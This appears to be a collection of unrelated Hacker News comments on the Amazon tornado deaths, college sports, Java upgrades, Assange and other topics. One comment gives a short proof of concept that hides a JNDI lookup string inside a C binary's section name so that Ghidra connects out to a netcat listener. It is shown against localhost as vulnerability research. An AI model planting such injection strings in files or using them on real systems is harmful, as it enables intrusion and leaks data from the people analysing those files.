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>Were there no warnings for the severe weather storm that would have prevented people coming in to work or allowed them to leave work early?

There were warnings. Warnings that skipping work would get one fired[1]. And since the warehouse was not closed that day, the warning was: clock in on time, or else, weather be damned.

>When I was working in the office...

Well there's a difference between how office employees are treated, and how warehouse employees are treated.

>Why doesn’t Amazon....

Because they can. And that, because their workforce isn't unionized and doesn't have the collective bargaining power to get what Amazon should give them.

[1]https://www.nytimes.com/2021/10/24/technology/amazon-employe...
This presentation should help: https://developer.apple.com/videos/play/wwdc2021/10232
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Those are all very recent changes. Let’s see how they’re getting on in 20 years.
Post-high school football and basketball should be separated from education and run like the farm systems for baseball and hockey (US). Opponents of this idea tend to drag out a "but what about the korfball team?" argument, but I don't think it'd change those sports at that level too much. With any justice the big sports would have been contributing to an endowment for the smaller sports all these years that would be used for a future without stadium sports at the university level.
Hurricanes and tornados are two different phenomena, entirely.

A Category 5 hurricane generally has wind speeds less than 200 mph.

EF5 tornadoes start at 200 mph, and can be well over 300 mph.

Could you design a warehouse (note: not a small storm shelter, but a warehouse, which by definition needs to have very large interior open spaces) that would withstand a 300 mph wind? Maybe.

The budget would be well beyond the reach of any non-military client, though.
If you play the browser version, you can fiddle with the javascript while it's running.

That's interesting at first, but usually kills my interest in the game itself quickly.

Eg because I speed up the passage of time in idle clickers. That makes the game less annoying to play in the short run (thus better and more enticing), but strangely also much less addicting. The annoying wait is part of what slaves us, I guess?
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I percept all these "save muh local dialects" and "dialects are different languages than mandarin" are just cheap attempt at devide et impera.
openjdk version "11.0.11" 2021-04-20 (latest in Ubuntu?)

__attribute__((__section__(".note.${jndi:ldap://127.0.0.1:1234/abc}")))
int a = 1;
int main(){}

compile this with gcc, listen on port 1234 in netcat
# gcc main.c -o main
# nc -lp 1234

Launch Ghidra, confirm that it is using OpenJDK 11.0.11, and then open the built binary. It absolutely connects to localhost port 1234 and spits out some garbage there. Perhaps it does not have RCE impacts but it does cause the system to do something unintended and could expose IP addresses or other aspects of the running environment.
About 30 years ago or so, I was invited to a Superbowl party. I thought I'd be sociable and give it a try.

The party was nice, and eventually someone asked me which team I was rooting for. I said the guys in the blue shirts.

That didn't go over well at all.
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they are mostly contract based positions, no? I believe this is guaranteed money.
For future reference, the current headline is "Six Amazon workers killed after tornadoes reduce warehouse near St. Louis", which makes one wonder whether it was a tornado or some sort of shrink ray.
What even is "freedom of contract"? Do you need to allow and legally enforce the ability of website owners to bury "by browsing this website you forfeit your eternal soul and also your firstborn" in a ToS? It doesn't seem like the kind of core human right that you need to allow a free society.

In my state there's limited freedom of contract in, for example, payday loans:

https://www.michigan.gov/ag/0,4534,7-359-81903_20942-171016-...

Companies do not have the freedom to offer a $100 payday loan with a service fee of $16. The state says that 400% APR is usurious; by law it's restricted to $15. There's no doubt that without this law, unscrupulous and predatory companies would try to craft a contract which demanded more than that, and we've decided that our society is better off without that unlimited greed.
Do you think you would have reacted differently during tornado season? (I'm not sure when that is, but I am pretty sure December isn't in it, or at least was not before the storms of 2011.)

I think it is also worth pointing out that merely having sirens, and the information network capable (for the most part) of setting them off when and only when there is a significant risk, is well within about 90% of being as good as one should reasonably expect: if that is the most information you can get in the moment, how, rationally, should you respond, if not by seeking cover?

On the other hand, it is quickly counter-productive to set off the sirens for every mildly elevated risk, as it conditions everyone to be skeptical. Unfortunately, current social dynamics, which blame and punish anyone who makes a decision to not raise the alarm prior to something bad subsequently happening, is guaranteed to bring about this skepticism.
I migrated personally (or overseen migration) of many projects from Java 8 (and even Java 6) to Java 11.

Modules in Java 9 were a bit controversial back then, so I guess that's the reason we hear a lot about it, but I haven't encountered an issue related to modules even once.

Most of the migration work that was needed was just upgrading libraries, or adding new dependencies for Java EE APIs that moved out of the JDK.

And why libraries were incompatible? Relying on undocumented internals is one thing, but the funny thing is that a surprisingly large number of libraries broke because they relied on the format of the Java version string. When it changed from 1.8 to 9.0, they suddenly saw a "Java Version 0" and didn't know what to do with it.
> The reason you heard of Wikileaks and Assange isn't for golf.

Exactly like the reason you've heard of Trump isn't that he's such a great golf player. But he plays golf, and he is famous... And still not "a famous golf player" like, say, Tiger Woods.

> It is for publishing journalism and in particular journalism containing a vast number of journalistic scoops. So many that it catapulted him to international fame.

No, the reason I've heard of Assange is that he helped people leak the content of what became a vast number of journalistic scoops to actual journalists, who wrote it up and published it.

Leaking is leaking and journalism is journalism, but leaking is not journalism.
Baudrillard doesn't actually think the Gulf war didn't literally occur. He was using trollish language deliberately to highlight his more subtle (but, perhaps, relatively straightforward) ideas that televising the war meant that Americans learning about the wildly mismatched militaries' engagements via TV did not receive in their minds an accurate representation of what really was going on out there. While Baudrillard had a cogent point to make, putting it in these terms all but ensured perpetual confusion about what he meant (as demonstrated by the commenter above you). Here's the Wikipedia summary of Baudrillard's writings:

Baudrillard argued the Gulf War was not really a war, but rather an atrocity which masqueraded as a war. Using overwhelming airpower, the American military for the most part did not directly engage in combat with the Iraqi army, and suffered few casualties. Almost nothing was made known about Iraqi deaths. Thus, the fighting "did not really take place" from the point of view of the West. Moreover, all that spectators got to know about the war was in the form of propaganda imagery. The closely watched media presentations made it impossible to distinguish between the experience of what truly happened in the conflict, and its stylized, selective misrepresentation through simulacra.

https://en.m.wikipedia.org/wiki/The_Gulf_War_Did_Not_Take_Pl...

Baudrillard's concept of "simulacrum" is connected, and perhaps more interesting, even if attempting to apply it to the world results in weird claims like this one about the Gulf war.
there's no college football team in the world that averages less than 160lbs, and 160 iq average is impossible for a football team

or any number you'd pick. don't make things up
Who is going to clean them? Who is going to replace them?
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That isn't "the world". It's a relatively small set of people in a relatively small chunk of history that see themselves as entitled to make endless profit without ever worrying about where that comes from or who it hurts. It's not a sustainable mindset, so it never lasts.

Look at the shift in attitudes toward the environment in the last 100 years as an example. There was a point where executives thought it absolutely fine to pollute wildly. That consequences were for the little people. Through a mix of culture change and improved regulation, that has changed, and it continues to change.

A more recent example is the trend toward corporate social responsibility, which looks at a broad set of problems and devotes corporate resources toward fixing them: https://en.wikipedia.org/wiki/Corporate_social_responsibilit...

Do they put in enough money? Surely not. But it's indicative of the kind of culture shift we can push for here.
kg perhaps?
Some resources on how to get paid for open source work:

https://github.com/fossjobs/fossjobs/wiki/resources
My cognition right after the gym isn’t great, I find I basically need to switch off for a while and relax.

But my cognition the next day seems improved if I go to the gym.
Faxes are used because they are __exempt__ (not secure) and really easy since the UI is simple.

Contrast this with any method at all of trying to shove a document over the Internet, which will invariably result in something like a scanned attachment email of a PDF that bloats the mail queue and ends up in legal archives and inboxes forever causing problems.

Yes, we've all dreamed of better ways, but that's just like the XKCD standards comic ( https://xkcd.com/927/ ) and ultimately all solutions will require user training and effort.
What’s crazy is how at least 70 people have died in other states. A bunch of tornadoes happened at around the same time. It caught everybody by surprise.
The tweet he replied to is also relevant here.
Recreational driving sounds a lot different from the daily grind or that t5 hour trip on I90 from Seattle to Spokane to see family that you’ve made a hundred times before. Self driving cars would really help with the grind, then maybe we can focus more on recreation with the time we save.
In part because the radar tech has advanced so much. Based on reflectivity, velocity, and correlation coefficient alone, they are able to make a pretty sound guess about whether or not a supercell or QLCS is capable of producing a tornado. There’s no reason why you would want to wait for visual confirmation of the radar output when it could mean the difference (potentially) between giving people in the path a long or a short lead time on the warning.
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Not yc, but there is http://openteams.com/ by the founder of numpy. disclaimer, I invested in it out of a fund.
Or just create like, "football studies" programs.

Pro sports is complicated enough (the business, the history, the game itself) at this point to warrant an undergraduate degree.
This discussion isn't about the genetic validity of population groupings in East Asia, but rather the construction of Han identity which is a social phenomenon.
You can't make a CPU faster by making it bigger. All you can do is have more CPUs working at the same time. But for the most part computers don't need more parallel processors, they need to figure out how to use the ones they already have.
I think the company would implode. The company couldn't even tolerate hiring a male POC who denigrated the women of the bay-area relative to his wife, in a best seller tell-all book years ago. They can't handle their companies original sins.

Behind every great fortune is a forgotten crime.
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You have misunderstand what's happening here! This post was #1 on Hackernews, as the article tried to play with common triggers (which somehow worked quite well), letting people believe they are reading about a massive case of sexism - which is not the case here. This topic is often used in the "woke" bubble to literally start a social bushfire on social media pages and news sites. And now it has even reached Hackernews!

I think it's important to clarify what's happening here, as most readers are not greek and simply cannot instantly understand the background and/or dont have the cultural sensitivity to judge this topic correctly.

This article was spread to misinform, and - surprise surprise - , every critical comment was flagged / deleted for trivial reasons. It's sad to see Hackernews moving into a Twitter-like direction, where facts are ignored, but every words is examined for "correct behaviour" according to "the rules".
> [>] "none of the “crimes” happened on US soil"

> This is essentially false as his ostensible crime relates to participating in the hacking of US systems.

A crime happens where you do it. His arse wasn't sat in the USA when he did it.
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> but complaints would have bubbled up to the Apache umbrella organization, which no doubt has plenty of Words written about "proper" versions, and the letter of rules would have been used to add heavily to their burden, while the spirit of compatibility is ignored.

Tailscale is wonderful software, but with all due respect I don't think David has much experience with Apache Foundation or Eclipse Foundation projects. I am a project lead of one (way smaller) Eclipse Foundation project and keep a close watch on another (bigger, but nowhere near the log4j scale) Apache Foundation project. We are free to make breaking changes (and make them we do). In both Foundations, there is a
Project Management Committee that signs off on releases. They would normally raise an eyebrow if you try to push a breaking change into a patch release, but their reaction would normally be "why don't you bump the major version?".

Edit: there is indeed a social contract between the project leadership and the users. We have a social contract of supporting the oldest possible JVM for our project. Now some of our dependencies (guess what, that ASF project!) dropped Java 8 support and published a few CVEs since and we are going to move to JDK 11 as a baseline soon. Yes, some users are grumpy but people understand that unless someone forks that ASF project and starts backporting CVE fixes, we got to make the move. Bottom line: it's a much more social process than a bureaucratic one.
What you describe is not impossible, but it is very very hard. If you can balance yourself on a completely stationary bicycle (brakes fully applied), then you may be able to do what you describe, but for most people it is more probable that you actually do a tiny imperceptible amount of counter steer when you lean. Most people ride by counter steer without noticing because it is a tiny movement.
I could've predicted that. Maybe because I am living in the future (without manipulation).
> you think you'd be able to find "proper" characters for everything you could say

The matter isn't whether I can find the proper character for everything you could say, but rather whether the spoken variety themselves can be based on written characters. In the example case you gave, it does.

The spoken varieties of Chinese can still be mapped to a set of characters, that still means there's a commonality underlying all of these variety. For instance, Beijing dialect/slang "颠儿" means '(he/she) is gone', which wouldn't be readily apparent or understandable to even mandarin speakers. but the first character has the meaning "run/trip".
I enjoy Go’s approach. This is a cultural thing more than a function of what the language itself imposes (and there are certainly many exceptions), but usually major version = revolutionary change (might as well be a new library). Major versions are taken as opportunities to refine what is known about the problem space and fix bad abstractions. Maybe a remmenant from the pre-module days.
Those games all spent their budgets better and had better planning. They were still on rails, just the core story was better planned and there were many more fulfilling side quests (extra threads) that stood on their own for players to organically experience. TES is infamous for players wandering off and almost entirely ignoring the primary story to instead enjoy all of the dungeons and side quests.
I think what they mean is: If you want this misfeature back, pay us $50k to do it properly.
That is one of those evo-psych just-so stories. American corporate culture in the late 20th/early 21st century is not representative of all humans at all times.

I get that it's the dominant experience for you, but please don't confuse that with some sort of deep evolutionary imperative. One of the things that distinguishes humans as a species is how extremely social, how extremely cooperative we are. See, for example, E. O. Wilson's "The Social Conquest of the Earth" for more on where we fit in evolutionarily.
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There's usually buyout clauses. Some money guaranteed, not the whole contract.
> "Want to vote for a pro-privacy, anti-war, anti-monopoly, fiscally responsible, forward-thinking candidate?"

yes! that's totally me in a nutshell. i'm hoping more and more people realize the hegemony that the two-party system represents and votes against it en masse. we need more people standing up against the consolidation of power and wealth in all its forms. that's the only way we return to a healthy and dynamic society.
I'm inclined to believe this. This was well under way for years and coordinated among Apple, BOE, and the CCP.
Oh? Shame nobody's ever tried that. But since you've had a brand new idea that you're sure will solve the problem, how about you take a swing at it? Show us how easy it is.
> the U.S. upholds much stricter rules of engagement than any of its enemies

Hm, good so far...

> (hell, even stricter than our cops).

Muahahahahaa! You just blew your own argument out of the water.
> But the reason these coaches are able to get these salaries is because of policy decisions made by state governments. To some extent, voters have a civil duty to decide whether they agree with this policy, and vote accordingly.

Only to the most remote, infinitesimal extent, do I as a voter have any deciding power. I can’t think of a voting strategy that I, as someone who opposes education funding going to stadiums or sports, could employ to voice that opposition. No public servant on my State ballot controls coaches’ salaries or the allocation of university funds. I can’t connect the dots.
> they'll want to work harder, not just hoist a middle finger.

There is a perfectly healthy, acceptable, middle ground between those two extremes, however.
Here's the transcript on her blog, in case you'd rather read than watch a video: http://backreaction.blogspot.com/2021/12/is-hyperloop-just-h...
You will be happier if you stop fretting about pointless stuff like this, trust me.
Sounds like Scott Alexander's thinking on meat eating. Have you read his deep dive on this question?

[0] https://slatestarcodex.com/2019/12/11/acc-is-eating-meat-a-n...
I've never been called off for the threat of severe non-winter weather anywhere. And the risk of being in a house hit by this tornado was probably higher than in the warehouse.

The lack of tornado shelter is the problem here - or more likely, they probably had one but weren't instructed to use it...
Sounds a tad improbable to me. There were animations on the Apple II. There was even a flight simulator. There is just no way that Woz would think animation was impossible on anything available after he left Apple.
BOE also makes advanced micro OLED displays which can be used in AR.
Good point. Obama is worth adding as well.

But aside from that flaw, the rest is ok.
Do businesses pay for roads?

This isn't a problem of shaming businesses. This is a government and multi-government concern. It's a national security issue. There should be BILLIONS of dollars of funding coming from all portions of governments: the military, universities, regulatory agencies, research agencies, any and all departments using IT systems.

Corporations don't even need to fund it. They just need to have the government fund it.
> With the exception of bribing legislators these are perfectly fine things to do. And in fact amount to having a smart accountant.

Dear god man, NO. Those may be legal - and who wrote those laws? But they sure as fuck aren't fine, morally and ethically speaking, unless you're a fucking sociopath. Which billionaires are more likely to be.

> as far as I can see most companies helmed by a billionaire do not do that.

Didn't Amazon get in trouble recently for interfering with a union vote?

> my default assumption is that the expected behavior of normal people and billionaires is the same.

That's a bad assumption, and there are mountains of research out there on the topic. It's stunning that you can't seem to look for any yourself, because if you looked you would find it.

> we also used to believe putting blood sucking leeches on your skin to suck out blood would cure illnesses. It's always easy to blame someone in a better position then yourself.

That's a very, very lazy take. That's really the best you could come up with? Leeches and victim blaming?

> What I'm asking of you is essentially do you have data/studies that shows very wealthy people have a fundamentally different psychological profile in regards to caring about society then non wealthy people. Because that is your claim.

https://www.vox.com/2015/6/16/8790357/rich-people-jerks

Read the above link. Look into the sources it cites.

There are huge differences, and it's not even remotely in doubt. Your whole assumption is so far off base it's not even funny; just sad.
Any treatment should be considered a scam until proven effective.

Chinese medicine gets people to drink urine. A Shaman spits alcohol on people. A witch doctor conjures spells.
None can be considered effective until proven effective.

"Proven effective" means.
1) Follows the reliable method, results are published
2) The experiment can be verified and replicated by anyone anywhere anytime.

That is the difference between the scientific method (So called "western medicine") and scams.

Summarizing: A fungus can be medicine, when proven effective. The older you state Chinese medicine is, the worse for its cause. So much time to show proof of effectiveness, so little they can prove.
Yeah, the headline weirdly implies Washington is unusual in this regard.
Both the licensing issues and the upgrade cost are largely myths.

Licensing is only an issue if you want to keep using the free Oracle JDK, but there is seriously no need to.

JDK upgrades were never drag and drop. When we upgraded Java 6 to Java 8 we had just about the same amount of issues we had when upgrading Java 8 to 11. Some libraries had to be updated. Bloated Application servers like Tomcat and Glassfish (let alone beasts of legend like WebLogic) needed an entirely new major version to cope with that.

The misconception that Java 11 is an especially rough upgrade comes from exaggerated worries about modules and perhaps the faster rate of change. 8 years have passed between Java 6 to Java 8, but only 4 years have passed between Java 8 to Java 11.